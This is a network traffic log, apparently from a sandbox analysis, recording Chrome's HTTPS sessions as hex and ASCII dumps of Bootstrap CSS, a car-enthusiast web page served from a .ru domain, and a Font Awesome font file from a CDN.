2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 61 38 36 38 66 7d 2a 2c 3a 3a 61 66 74 65 72 2c 3a 3a 62 65 66 6f 72 65 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 6e 6f 2d 70 72 65 66 65 72 65 6e 63 65 29 7b 3a 72 6f 6f 74 7b 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 73 6d 6f 6f 74 68 7d 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 Data Ascii: order-color:#ea868f}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 72 65 6d 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 72 65 6d 7d 62 2c 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 65 72 7d 2e 73 6d 61 6c 6c 2c 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 6d 61 72 6b 2c 6d 61 72 6b 7b 70 61 64 64 69 Data Ascii: adding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{paddi
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 68 2c 74 68 65 61 64 2c 74 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 3a 6e 6f 74 28 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 29 7b 6f 75 74 6c 69 6e 65 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 Data Ascii: ody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inher
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 74 65 78 74 66 69 65 6c 64 7d 3a 3a 2d 77 65 62 6b 69 74 2d 73 65 61 72 63 68 2d 64 65 63 6f 72 61 74 69 6f 6e 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 7d 3a 3a 2d 77 65 62 6b 69 74 2d 63 6f 6c 6f 72 2d 73 77 61 74 63 68 2d 77 72 61 70 70 65 72 7b 70 61 64 64 69 6e 67 3a 30 7d 3a 3a 2d 77 65 62 6b 69 74 2d 66 69 6c 65 2d 75 70 6c 6f 61 64 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 3a 3a 66 69 6c 65 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 6f 75 74 70 75 74 Data Ascii: bkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 69 6c 64 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 7d 2e 69 6e 69 74 69 61 6c 69 73 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 66 6f 6f 74 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 3b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 2e 62 Data Ascii: ild){margin-right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.b
2024-10-30 15:25:43 UTC	1378	IN	Data Raw: 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 78 78 6c 7b 6d 61 78 2d 77 69 64 74 68 3a 31 33 32 30 70 78 7d 7d 3a 72 6f 6f 74 7b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 62 73 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 78 6c 3a 31 34 30 30 70 78 7d 2e 72 6f 77 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 3b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 77 72 61 70 3a 77 Data Ascii: ,.container-xxl{max-width:1320px}}:root{--bs-breakpoint-xs:0;--bs-breakpoint-sm:576px;--bs-breakpoint-md:768px;--bs-breakpoint-lg:992px;--bs-breakpoint-xl:1200px;--bs-breakpoint-xxl:1400px}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49748	172.67.148.193	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:44 UTC	341	OUT	GET // HTTP/1.1 Host: baytul-hijabo.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:44 UTC	845	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AbAVKFqCMY3jnH8rzCAnlJZ11IRgcgnPuQ1Zj6CUgrEnl%2FPfL%2Br%2BcnbEUsn1Gg5XpQwJgmg07xzdE2ayeXbPOtdVsEzPsUOJZzDK1E%2BrLtis2jIGI9Vck2HmReb%2B4KmlvmPn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6b715c96469e-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1256&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=919&delivery_rate=2329847&cwnd=251&unsent_bytes=0&cid=f91d418df1fcb6af&ts=525&x=0"
2024-10-30 15:25:44 UTC	524	IN	Data Raw: 31 64 37 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 47 6f 6c 64 65 6e 20 41 67 65 20 43 61 72 20 Data Ascii: 1d77<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noarchive, nosnippet, noindex, nofollow"> <title>Golden Age Car
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 6f 64 79 3e 0d 0a 0d 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 6c 67 20 6e 61 76 62 61 72 2d 64 61 72 6b 20 62 67 2d 64 61 72 6b 20 73 74 69 63 6b 79 2d 74 6f 70 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 66 77 2d 62 6f 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 61 79 74 75 6c 2d 68 69 6a 61 62 6f 2e 72 75 2f 2f 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 61 72 22 3e 3c 2f 69 3e 20 47 6f 6c 64 65 6e 20 41 67 65 20 43 61 72 20 45 6e 74 68 75 73 69 61 73 74 73 20 2d 20 41 75 74 6f Data Ascii: ody><nav class="navbar navbar-expand-lg navbar-dark bg-dark sticky-top"> <div class="container"> <a class="navbar-brand fw-bold" href="https://baytul-hijabo.ru//"> <i class="fas fa-car"></i> Golden Age Car Enthusiasts - Auto
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 68 2f 69 64 2f 4f 49 50 2e 32 48 6e 70 30 36 34 63 77 64 65 64 39 7a 44 37 36 33 72 56 66 51 48 61 45 6f 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 70 79 2d 35 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 64 69 73 70 6c 61 79 2d 34 20 66 77 2d 62 6f 6c 64 22 3e 44 69 73 63 6f 76 65 72 20 59 6f 75 72 20 4e 65 78 74 20 43 61 72 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6c 65 61 64 22 3e 59 6f 75 72 20 63 61 72 20 69 73 20 79 6f 75 72 20 66 72 65 65 64 6f 6d 20 6f 6e 20 66 6f 75 72 20 77 68 65 65 6c 73 2e 3c 2f 70 3e 0d 0a 20 Data Ascii: h/id/OIP.2Hnp064cwded9zD763rVfQHaEo') no-repeat center; background-size: cover;"> <div class="container py-5"> <h1 class="display-4 fw-bold">Discover Your Next Car</h1> <p class="lead">Your car is your freedom on four wheels.</p>
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 72 64 2d 62 6f 64 79 20 74 65 78 74 2d 63 65 6e 74 65 72 27 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 62 61 79 74 75 6c 2d 68 69 6a 61 62 6f 2e 72 75 2f 2f 23 69 6e 76 65 6e 74 6f 72 79 27 20 63 6c 61 73 73 3d 27 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 20 62 74 6e 2d 73 6d 27 3e 3c 69 20 63 6c 61 73 73 3d 27 66 61 73 20 66 61 2d 69 6e 66 6f 2d 63 69 72 63 6c 65 27 3e 3c 2f 69 3e 20 56 69 65 77 20 44 65 74 61 69 6c 73 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 Data Ascii: <div class='card-body text-center'> <a href='https://baytul-hijabo.ru//#inventory' class='btn btn-primary btn-sm'><i class='fas fa-info-circle'></i> View Details</a> </div> </div
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 22 20 63 6c 61 73 73 3d 22 70 79 2d 35 20 74 65 78 74 2d 77 68 69 74 65 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 20 64 69 73 70 6c 61 79 2d 36 20 66 77 2d 62 6f 6c 64 20 6d 62 2d 34 22 3e 4f 75 72 20 53 65 72 76 69 63 65 73 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 34 20 6d 62 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: " class="py-5 text-white" style="background-color: #333;"> <div class="container"> <h2 class="text-center display-6 fw-bold mb-4">Our Services</h2> <div class="row text-center"> <div class="col-md-4 mb-4">
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 45 6d 61 69 6c 22 20 72 65 71 75 69 72 65 64 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 65 78 74 61 72 65 61 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 22 20 72 6f 77 73 3d 22 34 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 4d 65 73 73 61 67 65 22 20 72 Data Ascii: <div class="col-md-6"> <input type="email" class="form-control" placeholder="Email" required> </div> <div class="col-12"> <textarea class="form-control" rows="4" placeholder="Message" r
2024-10-30 15:25:44 UTC	182	IN	Data Raw: 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 65 6e 76 65 6c 6f 70 65 22 3e 3c 2f 69 3e 3c 2f 61 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: class="fas fa-envelope"></i></a></div></footer><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script></body></html>
2024-10-30 15:25:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49750	104.17.24.14	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:44 UTC	653	OUT	GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2 HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://zastromts.za.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:44 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:44 GMT Content-Type: application/octet-stream; charset=utf-8 Content-Length: 156532 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: "656632a7-26374" Last-Modified: Tue, 28 Nov 2023 18:34:15 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 512261 Expires: Mon, 20 Oct 2025 15:25:44 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6%2BB2rN4svO1C5gslQKqd%2B0hhVy07UkTsDoceg3yxpqjIYUNyyWZoAi2K%2BC0kNoYUeR1p5BL8t%2BEvKLw%2BhdtE1jiUyOOWzPKxjCVjd9K9063k4R5uhMyZlBCgx4TO0KinYDi51blY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8dac6b73ae9a0b76-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:44 UTC	388	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 02 63 74 00 0a 00 00 00 06 1a 41 00 02 63 28 03 05 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 36 02 24 04 20 06 60 03 ab 3c 00 81 91 02 ca 96 c2 5c cb ab 40 05 87 6d 07 20 25 20 0d 93 95 01 50 58 9d 00 00 e8 fa 36 1e 46 a4 68 f6 f0 14 91 b3 5e 0f 80 aa aa aa aa aa 66 25 04 1c d7 b6 bd aa 2a 00 08 7e f4 93 9f fd e2 57 bf f9 dd 1f fe f4 17 7f f5 37 7f f7 0f ff f4 2f ff f6 1f ff f5 3f ff f7 9f 02 83 71 f7 0f 84 69 d9 8e cb ed f1 fa fc 86 ff 68 bf d7 73 27 40 b4 49 0a c2 f3 44 95 15 ca 56 d5 46 d8 29 28 56 b2 8a 60 fd 37 aa 42 07 df a7 f1 1f 75 e9 b3 ec 0b 00 4a a7 f3 fb 49 19 55 9c 80 39 45 de 11 60 4d b7 8e cd 5a 66 95 d1 c8 ff a9 98 52 0e 26 9a 74 26 26 d2 6a 8b 8a f9 cb 2d a2 95 24 d3 17 c0 22 3b a8 3a Data Ascii: wOF2ctAc(6$ `<\@m % PX6Fh^f%*~W7/?qihs'@IDVF)(V`7BuJIU9E`MZfR&t&&j-$";:
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 65 6b 81 03 5e 20 c5 8d 55 c2 bf 25 8a 17 e1 93 b8 a8 45 20 f7 7f 09 70 7a 26 f8 13 4d ad be 5e 35 54 57 77 41 63 95 64 d9 96 ac b6 ba 1d 43 ac b2 a4 ee 84 95 8c e7 36 59 cc cd 12 79 89 b3 9c 65 dd 0c 2f 66 8e 50 0b c4 3a e2 1c b1 76 f7 00 ff 5f 42 e9 88 b4 d4 ba 7a 42 4f 4f cf f4 84 84 b0 00 06 98 05 66 37 63 76 16 98 bd db 3b de 5c de cb 60 3a ee 31 88 20 8f 62 48 5a 89 e2 91 22 45 11 54 24 45 85 35 69 45 cb 14 14 79 14 65 f9 94 29 d1 22 a1 10 6d cb f7 a6 43 7a 7b 9d f2 59 72 90 1c b0 ff 3f 69 6a fd bb af c2 ab 57 e1 55 48 08 0d a0 80 02 50 40 77 a3 1b d5 68 a0 3a b0 c9 22 d9 14 49 2b b0 ad 44 52 92 2d 28 51 94 e5 00 af 34 72 a0 03 e4 28 c9 bb 52 3b 48 43 67 38 d3 61 77 7b c6 49 b6 bc 63 38 c5 c3 99 2c 7b f7 7f 4c 96 35 89 93 82 aa 8f c8 52 ad ab 67 ba Data Ascii: ek^ U%E pz&M^5TWwAcdC6Yye/fP:v_BzBOOf7cv;\`:1 bHZ"ET$E5iEye)"mCz{Yr?ijWUHP@wh:"I+DR-(Q4r(R;HCg8aw{Ic8,{L5Rg
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: 30 a8 f8 bd b6 e6 f6 fb a4 c1 88 e9 33 59 ee 8b 7f cf 02 d3 43 9f b9 c6 d3 ca 8e d9 e7 d7 2d 3f 23 1b 04 ff aa 75 23 bb fa 69 5c 0b cf 77 f5 69 69 7c 4b c9 8e d6 75 ee 1c 67 63 5f 25 fa a9 be d9 e8 3e 35 3e cb ac d9 b3 c0 54 d9 b6 1c b3 d8 37 c1 33 02 7b 3f 13 ae c8 b7 75 89 75 b6 a5 ab ee 87 19 53 a6 8f ea d1 dd 9b 33 bd ef 8b c3 06 fc 41 e5 d1 b5 05 c8 91 77 bf b7 ca 19 18 6a 41 bc 07 23 b9 b3 64 ce 9d 85 ac 8e 06 dd 2c 8f 9f 9c ec ca 6d 7e b7 1a e7 69 03 bd d6 c0 0f 93 67 2a 98 36 5b 3d de 45 aa d9 e4 77 44 ff 52 ce a2 f6 b3 b7 a7 5d e6 eb 59 9b ab 26 f5 9e e1 d0 65 6b 78 71 6d 94 fa 52 f8 7b 3b e6 e3 71 52 a7 cc 87 96 ab a9 6f 23 be fd 59 d5 3c f6 fe 33 3e 49 cd 2b e5 5b 8f 13 6a 6a fc 5c a8 9a cd 79 34 03 b7 7f 81 e3 a0 47 2b 78 c5 ba 0d 9c c5 d7 9c Data Ascii: 03YC-?#u#i\wii\|Kugc_%>5>T73{?uuS3AwjA#d,m~ig*6[=EwDR]Y&ekxqmR{;qRo#Y<3>I+[jj\y4G+x
2024-10-30 15:25:44 UTC	1369	IN	Data Raw: b4 9f ed 0f fb d3 fe b6 ff 62 77 c2 fd e1 d5 b0 3a 7c 16 fe 0e ff 10 f4 e8 33 60 26 73 59 4a cd 28 2d 43 d6 62 1d d6 63 7d b6 60 4b b6 a7 63 47 0e e1 50 0e e3 70 8e e0 48 8e e7 04 56 71 31 97 70 39 57 72 15 57 73 0d d7 72 1d 37 71 2b 77 70 17 f7 f3 00 0f f2 10 0f f3 08 8f f2 18 8f f3 04 4f f2 14 2f f2 0e ef f2 31 9f f0 29 5f f0 25 5f f1 3b 7f f1 af 40 94 04 12 91 44 49 92 64 49 91 74 c9 94 2c c9 96 1c c9 95 3c 29 15 23 0d a5 b3 74 95 6e d2 43 fa 4a 3f e9 2f 03 65 9c 6c 91 ad b2 ad b2 49 65 d3 da a9 b5 8b 6b 97 d4 8e d5 ee 55 13 57 83 87 e8 26 8e 29 6d 06 98 09 66 91 59 62 36 9b 6d 66 9f 39 68 8e 9a 9b e6 91 79 69 9c e4 96 62 52 4a ea 48 5b e9 2c dd 65 a8 8c 97 99 b2 54 36 c9 2e 39 26 e7 e4 92 dc 95 fb f2 50 3e ca 17 f9 2e ff 6d 64 9b c6 66 b7 c5 ed 64 bb Data Ascii: bw:\|3`&sYJ(-Cbc}`KcGPpHVq1p9WrWsr7q+wpO/1)_%_;@DIdIt,<)#tnCJ?/elIekUW&)mfYb6mf9hyibRJH[,eT6.9&P>.mdfd
